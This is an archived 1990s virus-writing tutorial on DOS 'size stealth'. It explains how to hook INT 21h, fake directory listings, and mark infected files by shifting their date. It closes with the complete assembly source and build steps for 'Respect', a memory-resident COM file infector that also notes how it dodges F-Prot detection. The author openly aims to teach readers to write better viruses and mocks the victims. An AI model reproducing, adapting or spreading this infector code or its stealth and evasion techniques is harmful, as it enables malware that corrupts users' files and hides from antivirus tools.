home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / VIRDCOLL.ZIP / ST_TUT.TXT < prev    next >
Text File  |  1997-07-04  |  24KB  |  609 lines

  1.                 ┌──────────────────────────────────────────┐
  2.                 │     Simple Tutorial to Stealth Virii     │
  3.                 │          Part #1 - Size Stealth          │
  4.                 │            by Virtual Daemon             │
  5.                 └──────────────────────────────────────────┘
  6.  
  7.     Well, here's another lame tutorial written by me... ;-))
  8.  I wrote this shit in december 1996, but since SLAM#3 is out I've re-aranged
  9.  it a little, and here it is...
  10.    The reason why I'm writting all this tutorials, is because I want to make
  11.  other people learn this stuff, learn how to create better virii. These
  12.  tutorials should provide enough informations for people who don't know this
  13.  stuff already... Anyway, I'm gonna make more tutorials as soon as I'm
  14.  learning something new. Every new step I'll make in virii development will be
  15.  followed by a tutorial. During 1 year and a half, I've written several
  16.  tutorials... A big part of them will be presented in future releases of SLAM
  17.  Magazine. I hope that I'll make some new tutorials this year, bcoz I've
  18.  learned a lot since then, and I think that would be good if I'll share my
  19.  knowdlege with others! p.s. Hey lamers! Watch out! This tutorials are for
  20.  smart people who want and like to learn how to create virii, not for U! Go
  21.  play with your d*ck in the ground, and leave this phile now!!! The virus
  22.  included in this phile is made for research only... Anyway, it's kind of old
  23.  an kind of lame, so I guess you can do whatever you want with it! "WHATEVER"
  24.  doesn't mean that you just take the virus, put your name in it, and
  25.  distribute it saying that it's yours! ;) That makes you a big fuckin lamer!
  26.  And I hate lamers (shit, who doesn't? ;)))!
  27.    But let's get back to the show... :-P
  28.  
  29.    Some of U are wondering what a stealth virus is. Well, a stealth virus is a
  30.  virus who can practicaly hide in your system. Many viruses have included this
  31.  feature during the years, some better, some not... So, a stealth virus can't
  32.  be seen so easily... it can hide from your memory, from your files even from
  33.  your MBR/boot! In a word it can be "almost" invisible!
  34.  
  35.    In this tutorial I will talk more about the size stealth, and less about
  36.  other methods. At the end of the tutorial I've included a virus made by me
  37.  (it's pretty old) called "Respect"! ;) The virus traps INT 21h and will
  38.  infect COM files on 4bh(=execute). The stealth function are implemented for
  39.  11h/12h (FCB), 4eh/4fh (DTA) and 5700h (get file time/date).
  40.  
  41.   What is size stealth? Well, size stealth is a method wich can hide your true
  42.  filesize. This way, if a virus of 356 bytes infected a file of 22334 bytes,
  43.  the infected file size will be 22334+356=22690, right? Well, the size stealth
  44.  method will practicaly "cut" the last 356 bytes (size of virus), so the
  45.  infected file will have only 22334 bytes, just like the beginning.
  46.  Conclusion: the file was infected but the size is still the same.
  47.   How's that possible? Well, there are two steps (A and B ;)...
  48.  
  49.    The DOS operating system has 2 methods for searching files: one via FCB
  50.  (11h/12h) and the other with file handles (4eh/4fh).
  51. A)  The 1st step is to hide the file size for (sub)programs like DIR.
  52.    DIR uses the 11h/12h DOS function (FCB) althought almost all the other
  53.  programs from DOS 2+ are using the file handles method. So, we have to hide
  54.  our file from both, FCB and file handles.
  55. B)  Well, here goes the 2nd step: to hide your virus from programs that search
  56.   files via file handles method (programs like Norton Commander, or other shity
  57.   shells)...
  58.  
  59.    Got it? Ok. So, all we have to do is to make a TSR virus with handler on
  60.  INT 21h, who can trap the 4bh (for infection), 11h, 12h, 4eh,4fh (for size
  61.  stealth) and 5700h (for hiding the modified date/time) DOS functions.
  62.    When INT 21h is called by DOS, the function requested will be first
  63.  intercepted by our handler, right? We compare the function which is executed
  64.  with 11h,12h,4eh or 4fh functions, and if equal, we're gonna try to cut the
  65.  size of the file... Now, all we have to do to make it stealth (to cut it)
  66.  is to get the file size, then to substract the size of our virus, and then
  67.  to put it back (the size of the file) in memory... Simple, ha'? ;)
  68.  
  69.    But there's a little problem... How can we know if the file is infected
  70.  with our virus? We can't just "cut" all the COM (or EXE) files that are being
  71.  searched with one of the above functions (11h,12h,4eh,4fh)... ;(
  72.  Well, we just have to "mark" our file in some way! We can check if the
  73.  4th byte or something is equal to xx (our value) and then we'll cut it.
  74.  Good ideea, BUT too much code for this shit, don't U think? And of course
  75.  the system will go too slow! We'll have to open the file, then read, then
  76.  compare, and then close it back.
  77.    No, this is not a good ideea! There are a very small number of virii
  78.  who are checking with this method, and that bcoz their authors don't care
  79.  too much about the virus size, or about their speed.
  80.    There's another method for doing this. We'll mark our file in another
  81.  way. We'll *fuck* (read "modify" ;) the years number!!! :)
  82.    When U're trying to view a file's date, U'll probably get something
  83.  like this: 05-27-96! Well, 05 is the month, 27 the day of the month and
  84.  (19)96 the year, right? What do U think it will happen if we'll just add
  85.  100 to number of years? The year will be 2096, but U will still see the
  86.  date like 05-27-96!!! Of course, there are some programs who can display
  87.  the whole year, and this is the reason why we're gonna intercept the get
  88.  file date/time DOS function (AX=5700h)!
  89.    So, we'll have to check if some program tryes to find out the date/time
  90.  of our infected file. If we wouldn't check for this, then maybe the
  91.  respective program will find our date (which will be 2096 if the original
  92.  file year was 1996)... The user will see that his file has an invalid date
  93.  so he will guess that maybe he has a virus! That's why, in our INT 21h
  94.  handler, we must check for 5700h (DOS Function=get file date/time). If the
  95.  5700h function is requested by a program, our handler will trap the request
  96.  first. What we have to do is a little check if the specified file is
  97.  infected with our virus, and if so, we'll substract 100 years, and we'll
  98.  put the new value in memory. This way, the user will see that his file was
  99.  created/last modified in 1996! So, the user will turn into a big fucking
  100.  lamer and he will think that everything is OK, and that he has no virus!
  101.  Well, I guess this is our sacred duty.... TO FUCK LAMERS! ;))))
  102.  
  103.    Another way for marking the file is to modify the seconds number. We'll
  104.  choose a number, and in every file that gets infected will just gonna modify
  105.  the original file's seconds with our value.
  106.    It's obvious why we can't modify the hours/minutes/day/month! That can be
  107.  seen almost by anyone! Anyway, U can do it if U really want to... Nobody
  108.  will stop ya'! Well, nobody except the AVers...:)
  109.  
  110.    So we have two ways: the century method and the seconds method...
  111.  But first, let's see how our INT 21h handler is gonna look:
  112.  
  113.  my_int21_handler:
  114.     ...           ;here we're gonna check if the virus has alredy been
  115.                   ; infected... or other stuff ;)
  116.     cmp ah,4bh    ;is the file being executed or loaded?
  117.     jne next      ; nnneeeeaahhhhh... ;( Too bad!
  118.     jmp infect    ; Great, we'll try to infect it!
  119.  next:
  120.     cmp ah,11h            ;\
  121.     je FCB_stealth        ;  \
  122.     cmp ah,12h            ;    \
  123.     je FCB_stealth        ;      \ Here we check if it's a search function,
  124.     cmp ah,4eh            ;      / and if so, will try to "stealth" the file
  125.     je DTA_stealth        ;    /
  126.     cmp ah,4fh            ;  /
  127.     je DTA_stealth        ;/
  128.     cmp ax,5700h          ;anyone likes to see the file's date/time? ;)
  129.     je time_stealth       ;in the Respect virus, the time_stealth procedure
  130.                           ; was too far from the INT 21h handler, so this
  131.                           ; jump was replaced by "jne exithandler
  132.                           ;                       jmp time_stealth"
  133.     ; P.S. I told U this bcoz I don't wanna see ya confused or anything! ;-)
  134.  exithandler:
  135.     db 0eah       ;exit from our handler and return to original INT 21h
  136.  oldint21   dd ?  ;variable which contains the old INT 21h segment/offset
  137.  
  138.   In the Respect virus, I added 100 years to original year of the file...
  139.  So, I'm using the century method to check if the file is already infected.
  140.  The seconds method is practically the same with the century method... All
  141.  you have to do is to modify some basic instructions. Here's an example for
  142.  seting the seconds number to 60:
  143.  
  144.  a) for marking:
  145.     -----------
  146.      mov ax,5701h               ;set file date/time
  147.      mov cx,file_time           ;get original file time
  148.      mov dx,file_date           ;get original file date
  149.      or cl,1eh                  ;set the seconds number to 60
  150.      int 21h
  151.  b) for checking:
  152.     ------------
  153.      ;get timestamp in ax
  154.      and al,1eh         ;test if infected (1eh=30)
  155.      cmp al,1eh         ;check if al=30 (number of seconds div 2)
  156.      jnz error          ;if not equal then don't stealth
  157.      ;here comes the stealth part
  158.  
  159.   Ok. Now that you've got all this crap, I'm gonna try to explain the theory
  160.  of the size stealth method. I wont give ya' any examples bcoz the stealth
  161.  procedures from the Respect virus are very well commented (I think! ;-)...
  162.  
  163.   We'll begin with the FCB method...
  164.   What U have to do first is to fake a DOS call, bcoz you don't have
  165.  anything to stealth right now. If no errors have encountered you must get
  166.  the PSP (Program Segment Prefix) from memory. You can do that in 2 ways:
  167.  one with 51h and the other with 62h. Both this functions will return in
  168.  es:bx the current PSP. Then you must check if the PSP is ok (if it's the
  169.  DIR command who's calling not ChkDsk or other shit). Next you have to get
  170.  the DTA's adress with the DOS function 2fh. It will return the address of
  171.  the start of the current DTA in es:bx. After this, you must check if the
  172.  FCB is extended or not. The difference between the "normal" FCB and the
  173.  extended FCB is that the 2nd one has some extra bytes more then the normal
  174.  FCB (there are some DOS reserved areas in that bytes). So, to access the
  175.  bytes that we want we must skip some bytes if the FCB is extended. Actually,
  176.  we must skip about 7 bytes.
  177.    I will make a little paranthese here to tell ya' the structure of FCB
  178.  (file control block) and the structure of extended FCB.
  179.  
  180.   Normal FCB:
  181.   Offset   Size   Description
  182.   ------   ----   ------------
  183.   00h       1     Drive id (00=actual, 01=A:, 02=B:, 03=C: etc.)
  184.   01h       8     File name.Space filled if less than 8 characters
  185.   09h       3     File extension
  186.   0Ch       2     Current block number
  187.   0Eh       2     Logical record size (bytes)
  188.   10h       4     File size in bytes
  189.   14h       2     Date (last modified)
  190.   16h       2     Time (last modified)
  191.   18h       4     DOS Reserved area
  192.  ■1Ch       4     Same as 10h (this is what you see on your screen)
  193.   20h       1     Offset from actual register
  194.   21h       4     Relative record
  195.     ■=offset modified by our virus
  196.  
  197.   Extended FCB: looks almost the same as normal FCB, except there are 7 bytes
  198.   added to the beginning (before offset 00h)
  199.   Offset   Size   Description
  200.   ------   ----   -----------
  201.   -07h      1     always FFh. This flag indicate that this is extended FCB
  202.   -06h      5     Reserved by DOS
  203.   -01h      1     File attribute
  204.   +00h      25h   Normal FCB
  205.  
  206.  
  207.   Well, I hope you understand what's going on..;) Anwyay, all the "heavy" job
  208.  is done. What's left to be done, is to get in ax the datestamp (or timestamp)
  209.  then to check if you have infected the file, and then to substract the size
  210.  of your virus from the file's size (that can be done by modifying offset 1ch
  211.  where the file size is stored). Of course, before this, you can check if the
  212.  filesize isn't too small.
  213.  
  214.    Got it till now? If you don't get it right now, don't worry... just read
  215.  the phile again and then see how the Respect virus is made, and you WILL
  216.  get it! ;) This stuff should not take you much then 15 minutes (maximum)
  217.  to understand it!
  218.  
  219.    Ok. Now, let me explain the file handles stealth method (DTA_stealth)...
  220.    The DTA stealth method is practically the same with the FCB method, just
  221.  a little simpler... Again, you must begin with a fake int 21h call. The
  222.  errors can be checked with a simple "jc" (jump if CF=1), bcoz the 4eh/4fh
  223.  DOS functions automaticaly sets up the carry flag on error. After this...
  224.  the same old story: get the DTA, then the date/time stamp, do some checkin
  225.  and then stealth the file!
  226.  
  227.    Hmmm... Think that's all... I don't know what else I could say about the
  228.  size stealth method. Anyway, the Respect virus is here, and the stealth
  229.  functions are well commented (I think), so U shouldn't have any problems
  230.  with it!
  231.    Oh yeah... I forgot something! Respect is a TSR COM virus. If you wanna
  232.  make an TSR stealth that will infect EXE files you must stealth the high
  233.  word too! Here's an example:
  234.   sbb word ptr es:[bx+1fh],0    ;insert this in the FCB_stealth procedure
  235.   sbb word ptr es:[bx+1ch],0    ;insert this in the DTA_stealth procedure
  236.  
  237.    Remember: this is a stealth tutorial, not a tutorial on how to make TSR
  238.  virii!!! If you don't know how to make a TSR virus, then I guess you wont
  239.  understand much from this tutorial...
  240.  
  241.   P.S. In the next issue I'll try to explain the Full Stealth method
  242.   (infection/desinfection) or the memory stealth method or the MBR/BS method!
  243.   Dunno which of those right now, but I'll certanly do one of it! It's pretty
  244.   easy to do it, and I guess there are some guys who would like to know that!
  245.  
  246.   Well, enjoy reading the virus! Peace! ;)
  247.  
  248. ----- cut here -----
  249. ; Virus Name: Respect
  250. ; Virus Author: Virtual Daemon
  251. ; Group: SLAM
  252. ; Virus Type: TSR stealth COM infector
  253. ; Virus Size: 624 bytes
  254. ; Virus created on 14 January 1997 (dunno what time but I think it was
  255. ;                   morning... maybe at 3-4 am... ;)))
  256. ;
  257. ; Comments: -infection on 4bh (=execute)
  258. ;           -stealth on 11h/12h (FCB) and 4eh/4fh (DTA)
  259. ;           -intercept 5700h for more "stealthness" ;)))
  260. ;           -INT 24h handler (for errors)
  261. ;           -restore original file date/time/attributes
  262. ;           -no payload, no encryption... :( just for learning basic stealth!
  263. ; To compile use: TASM respect.asm 
  264. ;                 TLINK respect.obj
  265. ;                 EXE2BIN respect.exe respect.com
  266. ;                 DEL respect.exe  \
  267. ;                 DEL respect.obj   => delete un-necessary files
  268. ;                 DEL respect.map  /
  269. .model tiny
  270. .code
  271.    org 0
  272. begin:
  273.    call start
  274. start:
  275.    pop bp
  276.    sub bp,offset start
  277.  
  278.    push ds
  279.    push es
  280.  
  281.    mov ax,'=-'                  ;check if the virus is already installed
  282.    int 21h
  283.    cmp cx,'-='
  284.    je complete
  285.  
  286.    mov ah,4ah                   ;get largest block available
  287.    mov bx,0ffffh
  288.    int 21h
  289.  
  290.    sub bx,(endheap-begin+15)/16+1       ;substract from it our virus
  291.    mov ah,4ah
  292.    int 21h
  293.    jc complete
  294.    sub word ptr ds:[2],(endheap-begin+15)/16+1
  295.  
  296.    mov ah,48h                   ;allocate memory for the virus
  297.    mov bx,(endheap-begin+15)/16
  298.    int 21h
  299.    jc complete
  300.  
  301.    mov es,ax
  302.    dec ax
  303.    mov ds,ax
  304.  
  305.    mov byte ptr ds:[0],'Z'      ;mark the MCB
  306.    mov ax,8                     ;F-Prot will no longer detect a new Chill
  307.    mov word ptr ds:[1],ax    ;variant....
  308.  
  309.    push cs
  310.    pop ds
  311.    xor di,di
  312.    mov cx,(heap-begin)/2+1
  313.    mov si,bp
  314.    rep movsw                    ;load the virus in memory
  315.  
  316.    xor ax,ax
  317.    mov ds,ax
  318.    push ds
  319.    lds ax,ds:[21h*4]            ;save old INT 21h interrupt vector
  320.    mov word ptr es:oldint21,ax
  321.    mov word ptr es:oldint21+2,ds
  322.    pop ds
  323.    mov word ptr ds:[21h*4],offset int21 ;set our INT 21h handler
  324.    mov ds:[21h*4+2],es
  325. complete:
  326.    pop es
  327.    pop ds
  328.    lea si,[bp+offset jmpbuf]    ;restore saved bytes
  329.    mov di,100h
  330.    push di
  331.    movsw
  332.    movsb
  333.    retn                         ;return to host
  334. jmpbuf   db 0cdh,20h,0
  335.  
  336.  
  337. ; our INT 24h handler
  338. int24:
  339.    mov al,3h                    ;don't display errors
  340.    iret
  341.  
  342. ; the INT 21h handler
  343. int21:
  344.    cmp ax,'=-'
  345.    jne continue
  346.    mov cx,'-='
  347.    iret
  348. continue:
  349.    cmp ah,4bh
  350.    jne next
  351.    jmp infect
  352. next:
  353.    cmp ah,11h
  354.    je FCB_stealth
  355.    cmp ah,12h
  356.    je FCB_stealth
  357.    cmp ah,4eh
  358.    je DTA_stealth
  359.    cmp ah,4fh
  360.    je DTA_stealth
  361.    cmp ax,5700h
  362.    jne exithandler
  363.    jmp time_stealth
  364. exithandler:
  365.    db 0eah
  366. oldint21   dd ?
  367.  
  368. ; The FCB stealth method = hides infected file(s) from DIR
  369. FCB_stealth:
  370.    pushf
  371.    push cs
  372.    call exithandler             ;fake a int 21h call
  373.                                 ;on return ds:dx will point to unopened FCB
  374.    or al,0                      ;check if the dir call was sucessfull...
  375.                                 ;al=0 => no errors
  376.    jnz skip_dir                 ;if error then return to original 11h/12h
  377.    push ax bx es                ;save ax,bx and es registers
  378.  
  379.    mov ah,51h                   ;DOS function=get current PSP to es:bx
  380.    int 21h
  381.    mov es,bx
  382.    cmp bx,es:[16h]              ;is the PSP ok? we must check if it's a DIR
  383.    jnz error                    ; call and not other programs
  384.  
  385.    mov bx,dx                    ;get offset to unopened FCB in bx
  386.    mov al,[bx]                  ;al holds current drive
  387.    push ax                      ;extended FCB=FFh
  388.    mov ah,2fh                   ;DOS function=get DTA area in es:bx
  389.    int 21h
  390.  
  391.    pop ax                       ;restore ax (can be 0 or FFh)
  392.    inc al                       ;if the FCB is extended then FFh+1=0
  393.                                 ;if not then 0 + 1 = 1 <> 0
  394.    jnz no_ext                   ;not EXTENDED? Proceed then... ;)
  395.    add bx,7                     ;if EXTENDED then bx:=bx+7
  396.                                 ;EXTENDED FCB's have some extra bytes so we
  397.                                 ; must skip those bytes
  398. no_ext:
  399.    cmp word ptr es:[bx+1fh],0   ;is > 65k?
  400.    jnz error                    ;guess so... ;( gotta go then!
  401.    mov ax,es:[bx+19h]           ;get datestamp in ax
  402.    cmp ah,100                   ;if ah is greater then 100 then the file
  403.                                 ; is infected with our virus
  404.    jb error                     ;if not then get out of here!
  405.  
  406.    ror ah,1                     ;rotate to right
  407.    sub ah,100                   ;years=years-100 => the original file's year
  408.    rol ah,1                     ;rotate to left
  409.    mov es:[bx+19h],ax           ;restore the original year in memory
  410.  
  411.    sub word ptr es:[bx+1dh],(heap-begin) ;substract our virus size
  412. error:
  413.    pop es bx ax                 ;restore registers es, bx and ax
  414. skip_dir:
  415.    retf 2                       ;return far
  416.  
  417. ; The file handle stealth method = hides infected file(s) from progs like NC
  418. DTA_stealth:
  419.    pushf
  420.    push cs
  421.    call exithandler             ;fake a int 21h call
  422.    jc no_files                  ;the 4eh/4fh functions automaticaly
  423.                                 ; set up the carry flag on error
  424.  
  425.    pushf                        ;push the flags bcox they will be destroyed
  426.                                 ; by the int call
  427.    push ax di es bx             ;save ax,di,es and bx registers
  428.  
  429.    mov ah,2fh                   ;DOS function=get DTA area in es:bx
  430.    int 21h
  431.  
  432.    mov ax,es:[bx+18h]           ;get datestamp
  433.    cmp ah,100                   ;check if above 100
  434.    jb not_inf                   ;if not return
  435.  
  436.    cmp word ptr es:[bx+1ah],(heap-begin) ;check if the file is too small
  437.    ja hide                      ;if not too small go and stealth it
  438.    cmp word ptr es:[bx+1Ch],0   ;check if too large
  439.    je not_inf
  440. hide:
  441.    ror ah,1
  442.    sub ah,100                   ;get the original file's year back
  443.    rol ah,1
  444.    mov es:[bx+18h],ax           ;put the original year in memory
  445.  
  446.    sub word ptr es:[bx+1ah],(heap-begin)  ; hide file size
  447. not_inf:
  448.    pop bx es di ax              ;restore bx,es,di and ax registers
  449.    popf                         ;restore flags
  450. no_files:
  451.    retf 2                       ;return far
  452.  
  453. ; The time stealth method = hides infected file(s)'s time/date from being seen
  454. time_stealth:
  455.    pushf
  456.    call dword ptr cs:[oldint21] ;fake a int 21h call
  457.    jc shit                      ;if error then return
  458.    cmp dh,100                   ;check if years > 100
  459.    jb no_way                    ;if not then return
  460.    ror dh,1                     ;\
  461.    sub dh,100                   ; "adjust" the file's year :-)
  462.    rol dh,1                     ;/
  463. no_way:
  464.    iret                         ;return
  465. shit:
  466.    retf 2                       ;return far
  467.  
  468.  
  469. infect:
  470.    pushf
  471.    push ax bx cx dx si di bp ds es
  472.    push ds
  473.    push dx
  474.  
  475.    mov ax,3524h                 ;get old INT 24h handler
  476.    int 21h
  477.    mov word ptr cs:[old_int24],bx
  478.    mov word ptr cs:[old_int24+2],es
  479.  
  480.    push cs
  481.    pop ds
  482.    lea dx,int24                 ;set our INT 24h handler
  483.    mov ax,2524h
  484.    int 21h
  485.  
  486.    pop dx
  487.    pop ds
  488.    mov ax,4300h                 ;get file attributes
  489.    int 21h
  490.    push ds
  491.    push dx
  492.    push cx
  493.  
  494.    mov ax,4301h                 ;set new attributes (archive only)
  495.    xor cx,cx
  496.    int 21h
  497.  
  498.    mov ax,3d02h                 ;open the file for reading and writting
  499.    pushf
  500.    push cs
  501.    call exithandler
  502.    xchg ax,bx
  503.  
  504.  
  505.    mov ax,5700h                 ;get file's date/time
  506.    pushf
  507.    call dword ptr cs:[oldint21]
  508.    mov word ptr cs:[file_time],cx
  509.    mov word ptr cs:[file_date],dx
  510.  
  511.    push cs
  512.    pop ds
  513.    push cs
  514.    pop es
  515.  
  516.    mov ah,3fh                   ;read from file the first 3 bytes
  517.    lea dx,buffer                ;save them into our buffer
  518.    mov cx,3
  519.    int 21h
  520.  
  521.    mov ax,4202h                 ;go to EOF
  522.    xor cx,cx
  523.    cwd
  524.    int 21h
  525.  
  526.    mov word ptr file_size,ax
  527.    mov word ptr file_size+2,dx
  528.  
  529.    cmp word ptr buffer,'MZ'     ;check if EXE
  530.    je close_file
  531.    cmp word ptr buffer,'ZM'
  532.    je close_file
  533.  
  534.    mov ax,word ptr file_size    ;check if too big
  535.    cmp ax,65535-(endheap-begin)
  536.    ja close_file
  537.  
  538.    mov cx,word ptr buffer+1     ;check if already infected
  539.    add cx,heap-begin+3
  540.    cmp ax,cx
  541.    je close_file
  542.  
  543.    mov di,offset jmpbuf         ;prepare new JMP
  544.    mov si,offset buffer
  545.    movsb
  546.    movsw
  547.    mov byte ptr [offset buffer],0e9h
  548.    sub ax,3
  549.    mov word ptr [offset buffer+1],ax
  550.  
  551.    mov ah,40h                   ;write the virus to file
  552.    lea dx,begin
  553.    mov cx,heap-begin
  554.    int 21h
  555.  
  556.    mov ax,4200h                 ;go to BOF
  557.    xor cx,cx
  558.    cwd
  559.    int 21h
  560.  
  561.    mov ah,40h                   ;write the new JMP
  562.    lea dx,buffer
  563.    mov cx,3
  564.    int 21h
  565.  
  566.    mov ax,5701h                 ;set old file's time/date
  567.    mov cx,word ptr cs:[file_time]
  568.    mov dx,word ptr cs:[file_date]
  569.    ror dh,1                     ;mark the file for steath
  570.    add dh,100
  571.    rol dh,1
  572.    int 21h
  573. close_file:
  574.    mov ah,3eh                   ;close the file
  575.    int 21h
  576.  
  577.    mov ax,4301h                 ;set old attributes
  578.    pop cx
  579.    pop dx
  580.    pop ds
  581.    int 21h
  582.  
  583.    mov ds,word ptr cs:[old_int24+2]
  584.    mov dx,word ptr cs:[old_int24]
  585.    mov ax,2524h                 ;set old INT 24h handler
  586.    int 21h
  587. exit:
  588.    pop es ds bp di si dx cx bx ax
  589.    popf
  590.    jmp exithandler
  591.  
  592. old_int24   dd ?
  593. virus_name  db 'Respect'
  594. signature   db '[VD/SLAM]'
  595. heap:
  596. file_size   dd ?
  597. file_time   dw ?
  598. file_date   dw ?
  599. buffer   db 3 dup (?)
  600. endheap:
  601. end begin
  602. ----- cut here -----
  603.  
  604.   Tools used: Turbo Assembler 3.2, Turbo Linker 5.1, Tech Help 4.0a + a text 
  605.  editor... :)
  606.  
  607.   You can reach me via e-mail at: virtual_daemon@hotmail.com
  608.  
  609.